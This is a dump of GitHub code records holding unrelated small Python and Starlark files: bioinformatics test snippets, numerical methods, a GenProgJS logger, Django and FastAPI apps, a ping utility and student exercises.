]\n    }\n    \n    # Convert: check zero based (bed6)\n    @test \"convert_4\" {\n     result=`gtftk convert -i simple.gtf -n gene_id,transcript_id,start | cut -f2| head -n 1`\n      [ \"$result\" -eq 124 ]\n    }\n    # Convert: check zero based (bed3)\n    @test \"convert_4\" {\n     result=`gtftk convert -i simple.gtf -f bed3 | cut -f2| head -n 1`\n      [ \"$result\" -eq 124 ]\n    }\n    '''\n\n    CmdObject(name=\"convert\",\n              message=\"Convert a GTF to various format including bed.\",\n              parser=make_parser(),\n              fun=os.path.abspath(__file__),\n              updated=__updated__,\n              desc=__doc__,\n              group=\"conversion\",\n              test=test)\n","repo_name":"dputhier/pygtftk","sub_path":"pygtftk/plugins/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":4731,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"18"}
{"seq_id":"21959844859","text":"import numpy as np\r\nfrom math import *\r\nimport matplotlib.pyplot as plt\r\n\r\nh=0.05\r\nti=0.05\r\ntf=0.4\r\ny0=0.\r\n\r\ndef f(t,y):\r\n    return -1000*y+3000-2000*exp(-t)\r\ndef g(t):\r\n    return 3-0.998*np.exp(-1000*t)-2.002*np.exp(-t)\r\nprint(g(0.05))\r\n\r\nn=ceil((tf-ti)/h)\r\nt=np.linspace(ti,tf,n+1)\r\nyi=(y0+h*(3000-2000*exp(-0.05)))/(1+1000*h)\r\nprint(yi)\r\ny=[yi]\r\nfor j in range(n):\r\n    y.append((y[j]+h*(3000-2000*exp(-t[j+1])))/(1+1000*h))\r\nplt.plot(t,y)\r\nx=np.linspace(ti,tf,100000)\r\nplt.plot(x,g(x))\r\nplt.legend(['h=0.05','Actual analytical solution'])\r\nplt.xlabel('t')\r\nplt.ylabel('y')\r\nplt.show()\r\n\r\n","repo_name":"AmitPratap175/3rd-year","sub_path":"AdaptiveRK4_Adam-Moultoun_and_Bashforth/q1_c.py","file_name":"q1_c.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6643840456","text":"import os\nimport genprogJS.Parameters as Parameters\n\n\ndef start_fitness_refresh():\n    if Parameters.VERBOSE > 0:\n        print('Refreshing fitness values...')\n\n\ndef start_genetic_algorithm():\n    if Parameters.VERBOSE > 0:\n        print('Starting the genetic algorithm...')\n\n\ndef genprog_failed():\n    if Parameters.VERBOSE > 0:\n        print('Failed to generate a patch...\\n')\n\n\ndef print_project_info(args, individual):\n    if Parameters.VERBOSE > 0:\n        print('\\nFixing bugs for project ' + args['project'] + ', bug-ID: ' + args['bug-ID'])\n        print('---------------------------------- Buggy line ----------------------------------')\n        print(individual.get_modified_line())\n        print('--------------------------------------------------------------------------------')\n\n\ndef write_to_file(population):\n    if Parameters.LOG_LEVEL > 0:\n        if not os.path.exists(Parameters.OUTPUT_DIR):\n            os.makedirs(Parameters.OUTPUT_DIR)\n        for individual in population:\n            args = individual.get_args()\n            filename = args['project'] + '_' + str(args['bug-ID']) + '_' + str(Parameters.CANDIDATE_INDEX)\n            Parameters.CANDIDATE_INDEX += 1\n\n            with open(Parameters.OUTPUT_DIR + '/' + filename + '.js', 'w', encoding='utf-8') as file:\n                file.write(\"\\n\".join(individual.get_code()) + \"\\n\")\n\n            with open(Parameters.OUTPUT_DIR + '/' + filename + '.info', 'w', encoding='utf-8') as file:\n                file.write('Generation: ' + str(individual.get_generation()) + '\\n')\n                file.write('Elapsed time: ' + str(individual.get_repair_time()) + 'sec\\n')\n                file.write('# of failed test cases in developer-fixed version: ' + str(individual.get_test_stat('buggy', 'failed')) + '\\n')\n                file.write('# of failed test cases in current version: ' + str(individual.get_failed_tests()) + '\\n')\n                file.write('List of applied operators:\\n' + '\\n'.join(individual.get_applied_operators()))\n\n\ndef log_statistics(best, worst, population, candidate_number, i, elapsed_time):\n    mean = sum([individual.get_fitness() for individual in population]) / len(population)\n    statistics = '---------------------------------- Statistics ----------------------------------\\n' \\\n                 'It took ' + str(elapsed_time) + ' seconds to produce the ' + str(i + 1) + 'th generation.\\n' \\\n                 'Best fitness: ' + str(best.get_fitness()) + '\\n' \\\n                 'Worst fitness: ' + str(worst.get_fitness()) + '\\n' \\\n                 'Mean fitness: ' + str(mean) + '\\n' \\\n                 'Population size: ' + str(len(population)) + '\\n' \\\n                 '\"Best\" modification so far: ' + best.get_code()[best.get_index()] + '\\n' \\\n                 'Number of repair candidates: ' + str(candidate_number) + '\\n' \\\n                 '--------------------------------------------------------------------------------\\n'\n    if Parameters.VERBOSE > 0:\n        print(statistics)\n\n    if Parameters.LOG_LEVEL > 0:\n        with open(Parameters.OUTPUT_DIR + '/general_info.log', 'a', encoding='utf-8') as file:\n            file.write(statistics)\n\n\ndef print_candidates(candidates):\n    if Parameters.VERBOSE > 1:\n        print('------------------------------- Repair candidates -------------------------------')\n        i = 0\n        for candidate in candidates:\n            print(\"Candidate \" + str(i) + \": \" + candidate.get_modified_line())\n            i += 1\n        print('--------------------------------------------------------------------------------\\n')\n\n\ndef start_test(individual):\n    if Parameters.VERBOSE > 1:\n        print(\"Testing candidate with the following modification: \" + individual.get_modified_line())\n\n\ndef end_test(test_results):\n    if Parameters.VERBOSE > 1:\n        print(\"\\nTest results for candidate: \" + str(test_results))\n\n\ndef test_failed(filename):\n    if Parameters.VERBOSE > 1:\n        print(\"Test execution failed for individual.\")\n        if len(filename) > 0:\n            print(\"Test trace is logged into the following file: \" + Parameters.ROOT_DIR + '/temp/' + filename + '.log')\n\n\ndef run_operator(operator_name):\n    if Parameters.VERBOSE > 2:\n        print(\"Running \" + operator_name + \"...\")\n\n\ndef log_general_info(elapsed_time, num_candidates, args):\n    general_info = '\\n-------------------------------- General info --------------------------------\\n' \\\n                   'Project: ' + args[\"project\"] + '\\n' \\\n                    'Bug-ID: ' + args[\"bug-ID\"] + '\\n' \\\n                    'Total elapsed time: ' + str(elapsed_time) + ' sec' + '\\n' \\\n                    'Number of generated candidates: ' + str(num_candidates) + '\\n' \\\n                    '------------------------------------------------------------------------------\\n'\n    if Parameters.VERBOSE > 0:\n        print(general_info)\n\n    if Parameters.LOG_LEVEL > 0:\n        with open(Parameters.OUTPUT_DIR + '/general_info.log', 'a', encoding='utf-8') as file:\n            file.write(general_info)\n\n\ndef no_test_no_repair():\n    print('There are no failed tests, thus the algorithm cannot run.')\n","repo_name":"GenProgJS/GenProgJS","sub_path":"Logger.py","file_name":"Logger.py","file_ext":"py","file_size_in_byte":5119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7021968202","text":"import os\nimport time\n\nwith open(\"./hosts.txt\") as file:\n    dump = file.read()\n    dump= dump.splitlines()\n    \n    print(dump) \n    \n    for ip in dump:\n        print(('-'*15)+ ip + ('-' * 15))\n        os.system('ping -c 2 {}'.format(ip))\n        print(('-'*15)+ ip + ('-' * 15)) \n        time.sleep(5)\n        ","repo_name":"AllanAdegas/Cybersecurity","sub_path":"simple/ping/multiplePing.py","file_name":"multiplePing.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"48490381","text":"import numpy\n\nclass KF:\n    def __init__(self, initial_x:float, initial_v:float, accel_variance:float):\n        #mean\n        self._x = numpy.array([initial_x, initial_v])\n        self._accel_variance=accel_variance\n        #covariance\n        self._P = numpy.eye(2)\n\n    def predict(self, dt:float):\n        #x=F*x\n        #P=F*P*Ft*G*Gt*a\n        F = numpy.array(([1,dt],[0,1]))\n        F_transpose = numpy.transpose(F)\n        G = numpy.array([0.5*dt**2,dt]).reshape((2,1))\n        G_transpose = numpy.transpose(G)\n\n        new_x = F.dot(self._x)  # Dot-Product from (F)(x)\n        new_P=F.dot(self._P).dot(F_transpose) + G.dot(G_transpose)*self._accel_variance\n\n        pass\n\n    @property\n    def pos(self):\n        return self._x[0]\n\n    @property\n    def vel(self):\n        return self._x[1]\n","repo_name":"DavidM1156/KalmanFilter","sub_path":"Python_Project/KF_Script.py","file_name":"KF_Script.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12513452636","text":"from django.shortcuts import render\nfrom django.http.response import JsonResponse, HttpResponse\nfrom pymongo import MongoClient\nfrom rest_framework.parsers import JSONParser\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\n\nfrom uitslagen.helpers.gender import selectMen, selectWomen\nfrom uitslagen.serializer import UitslagSerializer, AnalysedUitslagenSerializer\nfrom uitslagen.models import Uitslag, AnalysedUitslagen\nimport logging\nimport pandas as pd\npd.options.mode.chained_assignment = None  # default='warn'\nfrom calendar import isleap\nfrom scipy import stats\nimport json\nfrom sklearn.model_selection import train_test_split, KFold, cross_val_score\nfrom sklearn.linear_model import LinearRegression, ElasticNet, Lasso, Ridge\nfrom sklearn import metrics\n\n\n\n\n# This retrieves a Python logging instance (or creates it)\nlogger = logging.getLogger(__name__)\n\nuitslagen = [\n    {\n        'timeinseconds': 2222,\n        'temperature': 150,\n        'gender': 0,\n        'regioCode': 3,\n        'label': 'VR10KMSEN',\n        'dayNumber': 232\n    },\n    {\n        'timeinseconds': 3022,\n        'temperature': 150,\n        'gender': 0,\n        'regioCode': 3,\n        'label': 'VR10KMSEN',\n        'dayNumber': 347\n    }\n]\n\n\ndef home(request):\n    context = {\n        'uitslagen': uitslagen\n    }\n    # return render(request, 'uitslagen/uitslagen.html', context)\n    return JsonResponse({'example': 'hallo'}, status=status.HTTP_200_OK)\n\n@api_view(['GET', 'POST', 'DELETE'])\ndef analysed_uitslagen(request):\n    logger.debug('enter post')\n    client = MongoClient()\n    db = client.runners_db\n    if request.method == 'GET':\n        collection = db.uitslagen\n        data = pd.DataFrame(list(collection.find()))\n        mean_runtime = data[\"time in seconds\"].mean()/60\n        mean_runtime_men = selectMen(data)[\"time in seconds\"].mean()/60\n        mean_runtime_women = selectWomen(data)[\"time in seconds\"].mean()/60\n        endTime = data.iloc[:, 5].values\n        dateNumber = data.iloc[:, 8].values\n        coef, intercept, p_value, accuracie = lr_2d(data, dateNumber, endTime)\n        analysedUitslagen = AnalysedUitslagen(mean_runtime, coef, intercept, p_value, accuracie,\n                                              mean_runtime_men, mean_runtime_women)\n        serializer = AnalysedUitslagenSerializer(analysedUitslagen)\n        return JsonResponse(serializer.data, status=status.HTTP_200_OK, safe=False)\n\n@api_view(['GET', 'POST', 'DELETE'])\ndef analysed_uitslagen_multiple_regressie(request):\n    logger.debug('enter method')\n    client = MongoClient()\n    db = client.runners_db\n    if request.method == 'GET':\n        collection = db.uitslagen\n        data = pd.DataFrame(list(collection.find()))\n        lr_ontarget_endTime(data)\n        return JsonResponse({'result': 'still to be implemented'}, status=status.HTTP_200_OK, safe=False)\n    \n\ndef lr_2d(df, data, target):\n    \"\"\"\" returns a tuple of coe_ef and intercept and R2 of 2d dataset lineair regression\"\"\"\n\n    X_train, X_test, y_train, y_test = train_test_split(data, target, random_state=11)\n    lr = LinearRegression()\n    lr.fit(X=X_train.reshape(-1,1), y=y_train)\n    predicted = lr.predict(X_test.reshape(-1,1))\n    expected = y_test\n    accuracie = metrics.r2_score(expected, predicted)\n    # get p-value\n    p_value = stats.linregress(x = df['dateNumber'], y = df['time in seconds']).pvalue\n    return lr.coef_[0], lr.intercept_, p_value, accuracie\n    \ndef lr_ontarget_endTime(df):\n    \"\"\"\" linear regression gender, temperatere, datenumber, regioCode on\n    target: time in seconds\"\"\"\n    #df = df.sample(frac=0.5, replace=True, random_state=1)\n    del df['date']\n    del df['provincie']\n    del df['cat']\n    # del df['Column1']\n    target = df['time in seconds'].values\n    del df['time in seconds']\n\n    # split in train set and test set\n    X_train, X_test, y_train, y_test = train_test_split(df, target, random_state=11)\n    # start multi dimensional regression\n    lr = LinearRegression()\n    lr.fit(X=X_train, y=y_train)\n    print(lr.intercept_)\n    for i, name in enumerate(df.columns[0:4]):\n        print(f'{name:>10}: {lr.coef_[i]}')\n\n    # # testing result of training\n    # predicted = lr.predict((X_test))\n    # expected = y_test\n    # comparedDf = pd.DataFrame()\n    # comparedDf['Expected'] = pd.Series(expected)\n    # comparedDf['Predicted'] = pd.Series(predicted)\n    #\n    #\n    #\n    #\n    # # How good is the model\n    # # R2 between 0 and 1 (1 is the perfect model)\n    # accuracie = metrics.r2_score(expected, predicted)\n    # print(accuracie)\n    #\n    # # apply different estimators\n    # estimators = {\n    #     'LR': lr,\n    #     'ElasticNet': ElasticNet(),\n    #     'Lasso': Lasso(),\n    #     'Ridge': Ridge()\n    # }\n    # logger.warning(df.columns)\n    # # cros_val_score is de uitkomst van 1 van de Kfold set\n    # # in ons geval 9 sets, gebruikt voor trainen, van elk de r2 score en daarvan berekenen we gemiddelde\n    # for estimator_name, estimator_object in estimators.items():\n    #     kfold = KFold(n_splits=10, random_state=11, shuffle=True)\n    #     scores = cross_val_score(estimator_object, X=df, y= target, cv= kfold, scoring='r2')\n    #     logger.warning(f'{estimator_name}: '\n    #           + f'mean of r2 scores = {scores.mean():3f}')\n    #\n    #  # lr\n\n\n","repo_name":"rwandastef/djange_rundata","sub_path":"django_rundata/uitslagen/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74666597479","text":"load(\"@io_bazel_rules_scala//scala:jars_to_labels.bzl\", \"JarsToLabelsInfo\")\nload(\"@io_bazel_rules_scala//scala:plusone.bzl\", \"PlusOneDeps\")\nload(\"@bazel_skylib//lib:paths.bzl\", \"paths\")\n\ndef write_manifest_file(actions, output_file, main_class):\n    # TODO(bazel-team): I don't think this classpath is what you want\n    manifest = \"Class-Path: \\n\"\n    if main_class:\n        manifest += \"Main-Class: %s\\n\" % main_class\n\n    actions.write(output = output_file, content = manifest)\n\ndef collect_jars(\n        dep_targets,\n        dependency_mode,\n        need_direct_info,\n        need_indirect_info):\n    \"\"\"Compute the runtime and compile-time dependencies from the given targets\"\"\"  # noqa\n\n    transitive_compile_jars = []\n    jars2labels = {}\n    compile_jars = []\n    runtime_jars = []\n    deps_providers = []\n\n    for dep_target in dep_targets:\n        # we require a JavaInfo for dependencies\n        # must use java_import or scala_import if you have raw files\n        java_provider = dep_target[JavaInfo]\n        deps_providers.append(java_provider)\n        compile_jars.append(java_provider.compile_jars)\n        runtime_jars.append(java_provider.transitive_runtime_jars)\n\n        additional_transitive_compile_jars = _additional_transitive_compile_jars(\n            java_provider = java_provider,\n            dep_target = dep_target,\n            dependency_mode = dependency_mode,\n        )\n        transitive_compile_jars.append(additional_transitive_compile_jars)\n\n        if need_direct_info or need_indirect_info:\n            if need_indirect_info:\n                all_jars = additional_transitive_compile_jars.to_list()\n            else:\n                all_jars = []\n            add_labels_of_jars_to(\n                jars2labels,\n                dep_target,\n                all_jars,\n                java_provider.compile_jars.to_list(),\n            )\n\n    return struct(\n        compile_jars = depset(transitive = compile_jars),\n        transitive_runtime_jars = depset(transitive = runtime_jars),\n        jars2labels = JarsToLabelsInfo(jars_to_labels = jars2labels),\n        transitive_compile_jars = depset(transitive = transitive_compile_jars),\n        deps_providers = deps_providers,\n    )\n\ndef collect_plugin_paths(plugins):\n    \"\"\"Get the actual jar paths of plugins as a depset.\"\"\"\n    paths = []\n    for p in plugins:\n        if hasattr(p, \"path\"):\n            paths.append(p)\n        elif JavaInfo in p:\n            paths.extend([j.class_jar for j in p[JavaInfo].outputs.jars])\n            # support http_file pointed at a jar. http_jar uses ijar,\n            # which breaks scala macros\n\n        elif hasattr(p, \"files\"):\n            paths.extend([f for f in p.files.to_list() if not_sources_jar(f.basename)])\n    return depset(paths)\n\ndef _additional_transitive_compile_jars(\n        java_provider,\n        dep_target,\n        dependency_mode):\n    if dependency_mode == \"transitive\":\n        return java_provider.transitive_compile_time_jars\n    elif dependency_mode == \"plus-one\":\n        # dep_target will not always have a PlusOneDeps provider, such as\n        # with scala_maven_import_external, hence the need for the fallback.\n        if PlusOneDeps in dep_target:\n            plus_one_jars = [dep[JavaInfo].compile_jars for dep in dep_target[PlusOneDeps].direct_deps if JavaInfo in dep]\n\n            # plus_one_jars only contains the deps of deps, not the deps themselves.\n            # Hence the need to include the dep's compile jars anyways\n            return depset(transitive = plus_one_jars + [java_provider.compile_jars])\n        else:\n            return java_provider.compile_jars\n    else:  # direct\n        return java_provider.compile_jars\n\n# When import mavan_jar's for scala macros we have to use the jar:file requirement\n# since bazel 0.6.0 this brings in the source jar too\n# the scala compiler thinks a source jar can look like a package space\n# causing a conflict between objects and packages warning\n#  error: package cats contains object and package with same name: implicits\n# one of them needs to be removed from classpath\n# import cats.implicits._\n\ndef not_sources_jar(name):\n    return \"-sources.jar\" not in name\n\ndef add_labels_of_jars_to(jars2labels, dependency, all_jars, direct_jars):\n    for jar in direct_jars:\n        jars2labels[jar.path] = dependency.label\n    for jar in all_jars:\n        path = jar.path\n        if path not in jars2labels:\n            # starlark exposes only labels of direct dependencies.\n            # to get labels of indirect dependencies we collect them from the providers transitively\n            label = _provider_of_dependency_label_of(dependency, path)\n            if label == None:\n                label = \"Unknown label of file {jar_path} which came from {dependency_label}\".format(\n                    jar_path = path,\n                    dependency_label = dependency.label,\n                )\n            jars2labels[path] = label\n\ndef _provider_of_dependency_label_of(dependency, path):\n    if JarsToLabelsInfo in dependency:\n        return dependency[JarsToLabelsInfo].jars_to_labels.get(path)\n    else:\n        return None\n\ndef sanitize_string_for_usage(s):\n    res_array = []\n    for idx in range(len(s)):\n        c = s[idx]\n        if c.isalnum() or c == \".\":\n            res_array.append(c)\n        else:\n            res_array.append(\"_\")\n    return \"\".join(res_array)\n\n#generates rpathlocation that should be used with the rlocation() at runtime. (rpathlocations start with repo name)\n#rootpath arg expects \"rootpath\" format (i.e. relative to runfilesDir/workspacename). Rootpath can be obtained by $rootpath macro or File.short_path\ndef rpathlocation_from_rootpath(ctx, rootpath):\n    return paths.normalize(ctx.workspace_name + \"/\" + rootpath)\n","repo_name":"bazelbuild/rules_scala","sub_path":"scala/private/common.bzl","file_name":"common.bzl","file_ext":"bzl","file_size_in_byte":5755,"program_lang":"python","lang":"en","doc_type":"code","stars":342,"dataset":"github-code","pt":"18"}
{"seq_id":"27129804279","text":"import logging\n\nfrom fastapi import FastAPI, Request, Response\nfrom slack_bolt.adapter.fastapi import SlackRequestHandler\n\nfrom sched_slack_bot.controller import AppController\n\nlogging.basicConfig(level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\n\ncontroller = AppController()\ncontroller.start()\n\napp_handler = SlackRequestHandler(controller.app)\napi = FastAPI()\n\n\n@api.post(\"/slack/events\")\nasync def endpoint(req: Request) -> Response:\n    return await app_handler.handle(req)\n\n\n@api.get(\"/health\")\nasync def health(req: Request) -> Response:\n    return Response(status_code=200)\n","repo_name":"Germandrummer92/SchedSlackBot","sub_path":"bin/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"31554604188","text":"\n# algorithm\n\n# # travel through two lists and merge them\n# l1 = list1  # for travelling through first node\n# l2 = list2  # for travelling through second node\n\n# dummy = ListNode()  # calling the class and creating an instance\n# cur = dummy\n\n\ndef merge_linked_list(l1, l2):\n\n    while l1 and l2:\n        if l1.val > l2.val:\n            cur.next = l2\n            l2 = l2.next\n        else:\n            cur.next = l1\n            l1 = l1.next\n        cur = cur.next\n    if l1:\n        while l1:\n            cur.next = l1\n            l1 = l1.next\n            cur = cur.next\n    if l2:\n        while l2:\n            cur.next = l2\n            l2 = l2.next\n            cur = cur.next\n    return dummy.next  # returns the head of newly merged linked list\n\n# time complexity: O(m)+O(n) where m is time complexity for  l1 and n is time complexity for l2\n\n# space complexity: O(m)+o(n) where m is space complexity for l1 and n is space complexity\n","repo_name":"aayush6200/DSA-LEETCODE","sub_path":"linked_list/merge_list.py","file_name":"merge_list.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43611103584","text":"\"\"\"app URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/4.1/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom app import views\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('', views.Userss, name='signup'),\n    path('index', views.index, name='index'),\n    path('login/', views.Login, name='login') ,\n    path('updated/<int:phone>', views.updated,name='updated'),  \n    path('do_edit/<int:phone>', views.do_edit, name='do_edit'),  \n    path('delete/<int:phone>', views.delete, name='delete'),\n    # path('multiss/', views.Multis, name='multiss'),\n    path('home/', views.RegiLPage, name='home'),\n    path('logout/', views.LogoutPage, name='logout'),\n]\n\n# from django.contrib import admin\n# from django.urls import path\n# from app import views\n\n# urlpatterns = [\n#     path('admin/', admin.site.urls),\n#     path('', views.SignupPage, name='signup'),\n#     path('login/', views.LoginPage, name='login'),\n#     path('home/', views.HomePage, name='home'),\n#     path('logout/', views.LogoutPage, name='logout')\n# ]","repo_name":"ritu-gour/Crud-App","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72179317160","text":"'''겹치는 메뉴 찾기\n경양식 레스토랑을 운영하는 김사장님은 옆에 치킨집이 망하자, 그 치킨집 공간까지 합쳐서 두 곳의 메뉴를 다 취급하려고 합니다.\n그런데 겹치는 메뉴가 좀 있네요. 김사장님이 메뉴판을 새로 만들 때 겹치는 메뉴 이름이 뭔지 알려주시겠어요?\n\n레스토랑 메뉴: ‘돈까스’, ‘고로케’, ‘스프’, ‘콜라’\n치킨집 메뉴: ‘후라이드’, ‘양념’, ‘콜라’,\n\n겹치는 메뉴: ‘콜라’\n\n지시사항\n음식점들에서 공통적으로 취급하는 메뉴가 뭔지를 알려주세요!\n\n입력 예시\n2곳 음식점의 메뉴가 들어옵니다.\n\n돈까스 고로케 스프 콜라, 후라이드 양념 콜라\nCopy\n*주의: ,로 구분을 해주어서 두 음식점을 구분하고, 그 다음 음식점 메뉴들을 구분해야합니다.\n각 음식점별로 메뉴들을 알게 되면, 겹치는 것을 이제 찾아주세요!\n\n출력 예시\n오.. 보니까 콜라를 두 곳에서 모두 공통적으로 취급하나봐요! 겹치는 것을 출력해주세요'''\n\nvar = input()\n\n# 들어오는 두 음식점을 ,로 구분하세요\n\n# 음식점의 메뉴들을 구분하세요!\n\n# 겹치는 메뉴들이 무엇인지 볼까요?\n\n# 결과를 출력해주세요. set() 형태로 출력하셔야 합니다. ex) {'콜라'}\n\n\nvar = input()\n\n# 들어오는 두 음식점을 ,로 구분하세요\nm = var.split(\",\")\n# 음식점의 메뉴들을 구분하세요!\na = m[0]\nb = m[1]\nar = a.split(\" \")\nbr = b.split(\" \")\n# 겹치는 메뉴들이 무엇인지 볼까요?\ncomm = set(ar) & set(br)\n\n# 결과를 출력해주세요. set() 형태로 출력하셔야 합니다. ex) {'콜라'}\nprint(comm)","repo_name":"Minji6/django_practice","sub_path":"pythonProject/5day/05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23629396053","text":"#!/usr/bin/python3\ndef divisible_by_2(my_list=[]):\n    boo = []\n    for i in range(len(my_list)):\n        if my_list[i] % 2 == 0:\n            boo.append(True)\n        else:\n            boo.append(False)\n\n    return (boo)\n","repo_name":"Frank-Grijalba/holbertonschool-higher_level_programming","sub_path":"0x03-python-data_structures/10-divisible_by_2.py","file_name":"10-divisible_by_2.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70991963239","text":"from math import isqrt\ndef is_prime(n: int) -> bool:\n    if n <= 3:\n        return n > 1\n    if n % 2 == 0 or n % 3 == 0:\n        return False\n    limit = isqrt(n)\n    print(limit)\n    for i in range(5, limit+1, 6):\n        if n % i == 0 or n % (i+2) == 0:\n            return False\n    return True\n\nprint(is_prime(7))\n","repo_name":"leouduh/Project-Euler","sub_path":"largest_prime_factor/largest_prime.py","file_name":"largest_prime.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74895648039","text":"# in this module, we are going to tweak our code from day 14 to save our files in JSON format.\n# we should also be able to read the data stored as a JSON.\n\n# we will only make changes to the:\n# retrieve function\n# add_book function\n# update function.\nimport json\n\ndef main():\n        createfile()\n        while True:\n                try:\n                        choice = context_menu()\n                        if  choice == 1:\n                                addBook()\n                                continue\n                        elif choice==2:\n                                books = retrieveBooks()\n                                if books:\n                                        showBooks(books)\n                                continue\n                        elif choice == 3:\n                                results = searchBooks()\n                                if results:\n                                        showBooks(results)\n                                else:\n                                        print(' no matching records')\n                                continue\n                        elif choice ==4:\n                               update_reading_list(deleteBook)\n\n                        elif choice == 5:\n                               update_reading_list(markRead)\n                               continue\n                                \n                        elif choice == 6:\n                               print('exiting module...\\nsession ended!')\n                               break\n                        \n                        else:\n                                print('select a valid option from (1-6)')\n\n\n                except ValueError:\n                        pass\n\n\ndef retrieveBooks():\n        with open('./booksFile.json','r') as books_file:\n            return json.load(books_file)         \n\n\ndef addBook():\n        books = retrieveBooks()\n        \n        title = input('input book title:\\n>>> ').strip().lower()\n        author = input(\"add author name:\\n>>> \").lower().strip()\n        year_of_publication = input(\"add year of publication:\\n>>> \").lower().strip()\n        readStatus = 'Unread'\n\n        books.append({\n        \"title\": title,\n        \"author\": author,\n        \"year\": year_of_publication,\n        \"read\": \"Unread\"\n        })\n\n        with open('booksFile.json','w') as books_file:\n                json.dump(books,books_file)\n        print('New Book Added')\n\n\ndef showBooks(booksList):\n        print()\n        print(f'showing {len(booksList)} saved book(s)')\n        print()\n        for book in booksList:\n                print(\"{title} - ({year}) by {author} --{read}\".format(**book).title())\n                print()\n\ndef searchBooks():\n        books = retrieveBooks()\n        matches = []\n        query = input('Enter a search term:\\n>>> ').strip().lower()\n        print()\n        for book in books:\n                if query in book['title']:\n                        matches.append(book)\n        return matches\n   \n# function called to perform an action[delete/mark] on a book                 \ndef update_reading_list(function):\n        books = retrieveBooks()\n        matching_books = searchBooks()\n\n        if matching_books:\n                function(books, matching_books[0])\n                with open(\"booksFile.json\", \"w\") as reading_list:\n                        json.dump(books,reading_list)\n                        \n\n# mark as read\ndef markRead(booksList,toUpdate):\n        match_index = booksList.index(toUpdate)\n        confirm = input(f'are you sure you want to delte {toUpdate[\"title\"]}? Y/N\\n>>> ').strip().lower()\n        if confirm == 'y':\n                booksList[match_index]['status'] = 'Read'\n                print(f'{toUpdate[\"title\"]} marked as read!\\n')\n        elif confirm == 'n':\n                print('book not updated\\n')\n\n# delete a book\ndef deleteBook(booksList, toDelete):\n        confirm = input(f'are you sure you want to delte {toDelete[\"title\"]}? Y/N\\n>>> ').strip().lower()\n        if confirm == 'y':\n                booksList.remove(toDelete)\n                print(\"book removed successfully!\\n\")\n        elif confirm == 'n':\n                print('book not deleted\\n')\n\n\n\ndef context_menu(): # function to display the menu items\n        menu_item = int(input(\"\"\"Welcome to the book keeper!\\nchoose an option from the menu (1-3).\n            1. add new book\n            2. view my books\n            3. search books\n            4. delete books(s)\n            5. mark book as read\n            6. exit \\n>>> \"\"\").strip())\n        return menu_item\n\ndef createfile():\n        try:\n            with open('booksFile.json','x') as booksFile:\n                    json.dump([],booksFile)\n        except FileExistsError:\n                pass\n\nmain()","repo_name":"ossydotpy/30_days_of_python","sub_path":"exercises/day_19_json.py","file_name":"day_19_json.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"25149727633","text":"from collections import Counter\nimport itertools\n\nwith open(\"input.txt\") as file:\n    data = sorted(map(int, file.read().split(\"\\n\")))\n\nrating = data[-1] + 3\n\ndata = [0] + data + [rating]\n\ncount = 0\n\n# Original Solution\n\ndifs = [j - i for i, j in zip(data[:-1], data[1:])]\n'''\ni = 0\ndif_lengths = [0]\nfor d in difs:\n    if d == 1:\n        dif_lengths[i] += 1\n    else:\n        i += 1\n        dif_lengths.append(0)\ndif_len_counts = Counter(dif_lengths)\n\n\ncombos = 7 ** dif_len_counts[4] * 4 ** dif_len_counts[3] * 2 ** dif_len_counts[2]\nprint(combos)\n\n'''\n\n\ndef get_mods(difs):\n    mods = []\n    for i in range(len(difs) - 1):\n        new = difs[:]\n        new[i] = new[i + 1] + new.pop(i)\n        mods.append(new + get_mods(new))\n    return mods\n\n# Consecutive differences between the adapters.\ndifs = [j - i for i, j in zip(data[:-1], data[1:])]\n\ngroups = Counter(\" \".join(map(str, difs)).split(\"3\"))\ngroups.pop(\" \")\ngroups.pop(\"\")\n\nfor group in groups:\n    nums = list(map(int, group.strip().split(\" \")))\n    